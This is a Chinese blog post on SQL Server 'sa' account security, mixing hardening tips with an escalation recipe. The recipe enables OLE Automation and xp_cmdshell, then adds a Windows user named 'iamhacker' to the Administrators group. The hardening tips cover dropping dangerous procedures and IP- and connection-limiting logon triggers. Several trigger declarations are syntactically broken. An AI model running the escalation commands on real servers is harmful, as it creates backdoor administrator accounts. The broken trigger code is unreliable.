sa安全

--禁用,启用sa 
ALTER   LOGIN   [sa]   DISABLE 
 
ALTER   LOGIN   [sa]   ENABLE 
 
--sa改密码 
EXEC   sp_password    NULL,   ' 123456',   'Sa ' 
 
 
 
--sa添加Windows管理员权限 
 
----------------------------------------------------------------------------------------------------- 
--1.不用sp_cmdshell,sp_OACreate 
sp_configure 'show advanced options',  1
GO 
RECONFIGURE; 
GO 
sp_configure 'Ole Automation Procedures',  1
GO 
RECONFIGURE; 
GO 
 
 
DECLARE @object INT 
--创建WScript.Shell 
EXEC sp_OACreate 'WScript.Shell', @object OUT 
--运行net user iamhacker opendoor /add 
--添加一个名字为iamhacker,密码为opendoor的用户 
EXEC sp_OAMethod @object, 'Run',  NULL, 'net user iamhacker opendoor /add' 
--把iamhacker添加到Administrators组中 
EXEC sp_OAMethod @object, 'Run',  NULL, 'net localgroup Administrators iamhacker /add' 
--查看账户 
EXEC xp_cmdshell 'net user '; 
--把iamhacker从User组中删除 
EXEC sp_OAMethod @object, 'Run',  NULL, 'net user iamhacker /del' 
 
 
/* 
DECLARE @object INT 
--创建WScript.Shell 
EXEC sp_OACreate 'WScript.Shell', @object OUT 
--把iamhacker从User组中删除 
 
EXEC sp_OAMethod @object, 'Run', NULL, 'net user iamhacker /del' 
*/ 
sp_configure 'show advanced options',  1
GO 
RECONFIGURE; 
GO 
sp_configure 'Ole Automation Procedures',  1
GO 
RECONFIGURE; 
GO 
 
--2.sp_cmdshell 
use master 
EXEC sp_configure 'show advanced options',  1 
GO 
RECONFIGURE 
GO 
EXEC sp_configure 'xp_cmdshell',  1 
GO 
RECONFIGURE 
GO 
--测试是否有xp_cmdshell的权限,如果列出数据,说明有权限 
exec xp_cmdshell 'dir c:' 
go 
 
--添加windows用户: 
EXEC xp_cmdshell 'net user ghd /add'; 
--设置好密码: 
EXEC xp_cmdshell 'net user ghd password'; 
--提升到管理员: 
EXEC xp_cmdshell 'net localgroup administrators ghd /add'; 
--查看账户 
EXEC xp_cmdshell 'net user '; 
--删除windows用户: 
EXEC xp_cmdshell 'net user ghd / delete'; 
 
 
EXEC sp_configure 'show advanced options',  1 
GO 
RECONFIGURE 
GO 
EXEC sp_configure 'xp_cmdshell',  0 
GO 
RECONFIGURE 
 
 
 
 
 
 
 
--存储过程安全注意的 
/* 
把危险的和不必要的存储过程删除, 
xp_cmdshell,很危险的一个存储过程,能够执行dos命令,可 以通过下述SQL语句 
use master 
sp_dropextendedproc ‘xp_cmdshell‘ 
不过依然可以通 过sp_addextendedproc来恢复,因此最好删除或改名xplog70.dll(sql server 2000) 
xpsql70.dll(sql serer 7.0) 
以下存储过程也很危险 
xp_fileexist,用来确定一个文件是否存在。 xp_getfiledetails,可以获得文件详细资料。 
xp_dirtree,可以展开你需要了解的目录,获得所有目录深度。 Xp_getnetname,可以获得 
服务器名称。 
去掉不需要的注册表访问的存储过程,如下: 
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues 
Xp_regread Xp_regremovemultistring Xp_regwrite 
如果你不需要请丢弃OLE自动存储过程,这些过程包括如下: 
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty 
Sp_OAMethod Sp_OASetProperty Sp_OAStop 
 
*/ 
 
--权限解释 
/* 
-------------------------------- 
 
SQL Server的用户及权限  
sysadmin 可以在 SQL Server 中执行任何活动  
serveradmin 可以设置服务器范围的配置选项 关闭服务器  
setupadmin 可以管理链接服务器和启动过程  
securityadmin 可以管理登录和 CREATE DATABASE 权限 还可以读取错误日志和更改密码  
processadmin 可以管理在 SQL Server 中运行的进程  
dbcreator 可以创建 更改和除去数据库  
diskadmin 可以管理磁盘文件  
bulkadmin 可以执行 BULK INSERT 语句  
 
固定数据库角色 描述  
db_owner 在数据库中有全部权限  
db_accessadmin 可以添加或删除用户ID  
db_securityadmin 可以管理全部权限 对象所有权 角色和角色成员资格  
db_ddladmin 可以发出ALL DDL但不能发出GRANT REVOK或DENY语句  
db_backupoperator 可以发出DBCC CHECKPOINT和BACKUP 语句  
db_datareader 可以选择数据库内任何用户表中的所有数据  
db_datawriter 可以更改数据库内任何用户表中的所有数据  
db_denydatareader 不能选择数据库内任何用户表中的任何数据  
db_denydatawriter 不能更改数据库内任何用户表中的任何数据  
*/ 
------------------------------------------------------------------------------------------------------ 
 
--sa指定IP登录 
 
如果连接的ip不是指定ip,则rollback 
CREATE  TRIGGER connection_limit_trigger 
ON ALL SERVER  
FOR LOGON 
AS 
BEGIN 
  declare @ip nvarchar( max
  declare @loginName nvarchar( max
  SELECT @ip=EVENTDATA().value 
        ('(/EVENT_INSTANCE/ClientHost)[ 1]','nvarchar( max)') 
     SELECT @loginName=EVENTDATA().value 
        ('(/EVENT_INSTANCE/LoginName)[ 1]','nvarchar( max)') 
     if @loginName='sa'  and @ip<>' 127. 0. 0. 1' --replaced with your ip 
      rollback 
END
 
 
 
--------------------------------------------------------------------------------- 
 
  
 
--限制sa连接数 
CREATE  TRIGGER login_limit_trigger  ON ALL SERVER 
     FOR LOGON 
AS 
     BEGIN 
         DECLARE @loginN NVARCHAR( MAX
         SELECT  @loginN =  COUNT( 0
         FROM    sysprocesses 
         WHERE   loginame = 'sa' 
         IF @loginN >=  30    --30连接 
            ROLLBACK 
     END ; 
 
--查看当前用户 
USE master 
  
SELECT  loginame , 
         COUNT( 0
FROM    sysprocesses 
  GROUP  BY loginame 
ORDER  BY  COUNT( 0) DESC 
 
 
  
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值